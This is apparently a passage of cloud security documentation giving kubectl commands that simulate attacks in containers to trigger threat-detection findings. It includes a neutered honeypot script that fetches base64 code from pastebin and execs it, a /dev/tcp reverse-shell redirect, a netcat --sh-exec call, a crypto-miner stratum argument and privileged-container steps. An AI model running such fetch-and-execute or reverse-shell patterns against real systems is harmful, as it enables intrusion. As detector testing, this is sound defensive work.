To trigger an Execution: Malicious Python Executed finding, you can execute Python in the following procedure in your container.

The procedure deploys the latest Python image, copies Python code that appears malicious, and then executes it. To trigger a detection, the Python code must appear malicious to the detector.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute the following script in a new container.

This Python code originated from a honeypot. However, it was modified so that it does not execute the malicious binary. Running the script won't cause malicious activity in your container. The binary at the referenced URL does not exist and attempting to follow the URL results in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.

x86 node:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

ARM node:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

This test procedure creates an Execution: Malicious Python Executed finding that you can view in Security Command Center and in Cloud Logging if you configured logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Modified Malicious Binary Executed

To trigger an Execution: Modified Malicious Binary Executed finding, modify a malicious binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, modifies /bin/ls to an EICAR testing malicious file, and then executes it. The binary's execution is unexpected because the created /bin/ls is modified during container runtime as an EICAR testing malicious binary, and the EICAR binary is a known malicious file according to the threat intelligence.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop the EICAR binary and execute it:

x86 node:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

ARM node:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

This test procedure should create an Execution: Modified Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Execution: Modified Malicious Binary Executed findings. To see all Execution: Modified Malicious Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Execution: Netcat Remote Code Execution In Container

To trigger an Execution: Netcat Remote Code Execution In Container event, a binary capable of network communication (like netcat itself, or a renamed copy of another utility) needs to be present and executed inside the container. This example deploys the latest Ubuntu 24.04 image as a base. It copies the /bin/ls binary and renames that copy to netcat (a network utility). This renamed binary is then executed with arguments appropriate for network interaction. This activity is flagged as suspicious because it mimics the behavior often observed during actual remote code execution attempts within containerized environments.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce a network communication tool binary like netcat and execute it with appropriate arguments:

x86 node:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

ARM node:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

This test procedure should create an Execution: Netcat Remote Code Execution In Container finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Possible Remote Command Execution Detected

To trigger an Execution: Possible Remote Command Execution Detected (Preview) finding, the execution of a command or binary commonly associated with remote command execution must be observed within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to touch (or another tool like find). This renamed binary is then executed with arguments appropriate for remote command execution. This behavior is flagged as suspicious because it can indicate an attempt to establish unauthorized remote access to or from the container.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a binary like touch with appropriate arguments:

x86 node:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

ARM node:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"

This test procedure creates an Execution: Possible Remote Command Execution Detected finding that you can view in Security Command Center and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Program Run with Disallowed HTTP Proxy Env

To trigger an Execution: Program Run with Disallowed HTTP Proxy Env finding, execute a program within a container, setting an HTTP proxy environment variable to a disallowed value. This example uses the latest Ubuntu 24.04 image. The /bin/ls utility is copied and renamed to /tmp/curl. This renamed binary is then executed with a disallowed value set for an HTTP proxy environment variable (for example, HTTP_PROXY, http_proxy). The combination of program execution and the presence of a disallowed HTTP proxy environment is flagged as suspicious, as it suggests an attempt to communicate through an unauthorized proxy.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a network-capable binary, like curl, and execute it with a disallowed HTTP proxy environment variable:

x86 node:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

ARM node:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

This test procedure should create an Execution: Program Run with Disallowed HTTP Proxy Env finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Suspicious OpenSSL Shared Object Loaded

To trigger an Execution: Suspicious OpenSSL Shared Object Loaded finding, execute the openssl engine command with an argument that is a file that ends with the .so extension. This example uses the latest Ubuntu 24.04 image. The /bin/ls utility is copied and renamed to /tmp/openssl. This renamed binary is then executed with the engine and fake .so file arguments. The execution of openssl engine with a .so file is flagged as suspicious because it mimics the behavior of a shared object being loaded to execute malicious code.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a network-capable binary, like curl, and execute it with a disallowed HTTP proxy environment variable:

x86 node:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

ARM node:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

This test procedure should create an Execution: Suspicious OpenSSL Shared Object Loaded finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Exfiltration: Launch Remote File Copy Tools In Container

To trigger an Exfiltration: Launch Remote File Copy Tools In Container finding, execute a common remote file copy tool within a container. This example uses the latest Ubuntu 24.04 image. The /bin/ls utility is copied and renamed to /tmp/rsync and then executed to retrieve a file from a remote, potentially malicious, source. The execution of such a tool with remote file retrieval arguments within a container is flagged as suspicious, as it could indicate an attempt to download and execute malicious code or exfiltrate data.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a remote file copy tool, like rsync, and execute it:

x86 node:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

ARM node:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

This test procedure should create an Exfiltration: Launch Remote File Copy Tools In Container finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Impact: Detect Malicious Cmdlines

To trigger an Impact: Detect Malicious Cmdlines (Preview) finding, the execution of a command line with known malicious patterns or arguments must be observed within a container. This example uses the latest Ubuntu 24.04 image. It involves copying the /bin/ls binary and renaming that copy to ipfs. The renamed binary is then executed. This behavior is flagged as suspicious because it can indicate an attempt to execute malicious code or bypass security controls.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a binary like ipfs:

x86 node:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

ARM node:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

This test procedure creates an Impact: Detect Malicious Cmdlines finding that you can view in Security Command Center and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Impact: Remove Bulk Data From Disk

To trigger an Impact: Remove Bulk Data From Disk finding, place a binary capable of data deletion or overwriting in your container and execute it. This example uses the latest Ubuntu 24.04 image. It involves copying the /bin/ls binary and renaming that copy to shred (or a similar utility designed for secure file deletion). The renamed binary is then executed. This action is flagged as suspicious because it mimics the behavior often seen when attempts are made to remove large amounts of data from a disk within a containerized environment.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce a file or data deletion binary like shred and execute it:

x86 node:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

ARM node:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

This test procedure should create an Impact: Remove Bulk Data From Disk finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Impact: Suspicious crypto mining activity using the Stratum Protocol

To trigger an Impact: Suspicious crypto mining activity using the Stratum Protocol finding, a binary needs to be executed within a container with arguments that resemble those used by crypto mining software communicating using the Stratum protocol. The example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that copy to a mock binary (presumably to simulate a crypto miner). This renamed binary is then executed with arguments that include stratum+tcp or similar Stratum protocol indicators. This activity is flagged as suspicious because it mimics the network communication patterns of crypto mining software within containerized environments.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce a utility binary like curl and execute it with arguments that resemble those used by crypto mining software communicating using the Stratum protocol:

x86 node:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

ARM node:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

This test procedure should create an Impact: Suspicious crypto mining activity using the Stratum Protocol finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

You might also see an additional finding for the bash command that you run in this test. This behavior is normal, and you can ignore the additional finding.

Malicious Script Executed

To trigger a Malicious Script Executed finding, you can execute the script in the following procedure in your container.

The procedure deploys the latest Ubuntu 24.04 image, copies a script that appears malicious, and then executes it. To trigger a detection, a script must appear malicious to the detector.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute the following script in a new container.

This inline Bourne shell script originated from a honeypot. However, it has been modified so that it does not execute the malicious binary, so running the script won't cause malicious activity in your container. The binary at the referenced URL may have been removed and attempting to follow the URL will result in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.

x86 node:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

ARM node:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

This test procedure creates a Malicious Script Executed finding that you can view in Security Command Center and in Cloud Logging if you've configured logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Malicious URL Observed

To trigger a Malicious URL Observed finding, execute a binary and provide a malicious URL as an argument.

The following example deploys an Ubuntu 24.04 image and executes /bin/curl to access a sample malware URL from the Safe Browsing service.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute curl and provide a malicious URL as an argument:

x86 node:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

ARM node:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

This test procedure triggers a Malicious URL Observed finding that you can view in Security Command Center and, if you have configured Logging for Container Threat Detection, in Cloud Logging. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

Privilege Escalation: Fileless Execution in `/dev/shm`

To trigger an Privilege Escalation: Fileless Execution in /dev/shm finding, a process must be executed from the /dev/shm in-memory file system. This example uses the latest Ubuntu 24.04 image. The /bin/echo utility is copied to /dev/shm/echo. This renamed binary is then executed. The execution of a file under /dev/shm is flagged as suspicious because it mimics the behavior of an object trying to execute in memory to avoid file based detections.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Create a privileged container and open bash to execute commands:

x86 node:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

ARM node:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copy echo to /dev/shm and make it executable using chmod

  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo

Remount the /dev/shm to enable execution
```
  mount -o remount,exec /dev/shm
```
Execute echo from /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

This test procedure should create an Privilege Escalation: Fileless Execution in /dev/shm finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Reverse Shell

To trigger a Reverse Shell finding, start a binary with stdin redirection to a TCP connected socket. This example copies /bin/echo to /tmp/sh, then starts /tmp/sh with redirection to the Google public DNS 8.8.8.8 on the DNS port. Nothing is printed when you run this example. To prevent any external code injection through a man-in-the-middle (MITM) attack, this example doesn't use the /bin/sh binary.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Start a binary with /bin/echo redirection to the Google public DNS:

x86 node:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

ARM node:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

This test procedure creates a Reverse Shell finding you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

Unexpected Child Shell

To test the Unexpected Child Shell detector, you can create a process tree that includes a child shell process.

The following example creates an consul->dash process tree, which can be detected by the Unexpected Child Shell detector. This test is safe because it uses only built-in binaries. This example does the following:

Creates a copy of the sh process and names it consul.
Copies the echo process and names it dash.
Invokes the copied dash process in the copied consul process.

To trigger an Unexpected Child Shell finding, do the following:

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Use the mock consul process to invoke a mock shell:

x86 node:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

ARM node:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

This test procedure creates an Unexpected Child Shell finding that you can view in Security Command Center. If Logging is configured for Container Threat Detection and you have Security Command Center Premium or Enterprise activated at the organization level, then you can view the finding in Cloud Logging too.

What's next

Learn how to use Container Threat Detection.

Testing Container Threat Detection Stay organized with collections Save and categorize content based on your preferences.

Before you begin

Enable detectors

Set environment variables

Added Binary Executed

Added Library Loaded

Command and Control: Steganography Tool Detected

Credential Access: Find Google Cloud Credentials

Credential Access: GPG Key Reconnaissance

Credential Access: Search Private Keys or Passwords

Defense Evasion: Base64 ELF File Command Lines

Defense Evasion: Base64 Encoded Python Script Executed

Defense Evasion: Base64 Encoded Shell Script Executed

Defense Evasion: Launch Code Compiler Tool In Container

Execution: Added Malicious Binary Executed

Execution: Container Escape

Execution: Fileless Execution in /memfd:

Execution: Ingress Nightmare Vulnerability Execution

Execution: Kubernetes Attack Tool Execution

Execution: Local Reconnaissance Tool Execution

Execution: Malicious Python Executed

Execution: Modified Malicious Binary Executed

Execution: Netcat Remote Code Execution In Container

Execution: Possible Remote Command Execution Detected

Execution: Program Run with Disallowed HTTP Proxy Env

Execution: Suspicious OpenSSL Shared Object Loaded

Exfiltration: Launch Remote File Copy Tools In Container

Impact: Detect Malicious Cmdlines

Impact: Remove Bulk Data From Disk

Impact: Suspicious crypto mining activity using the Stratum Protocol

Malicious Script Executed

Malicious URL Observed

Privilege Escalation: Fileless Execution in /dev/shm

Reverse Shell

Unexpected Child Shell

What's next

Testing Container Threat Detection

Execution: Fileless Execution in `/memfd:`

Privilege Escalation: Fileless Execution in `/dev/shm`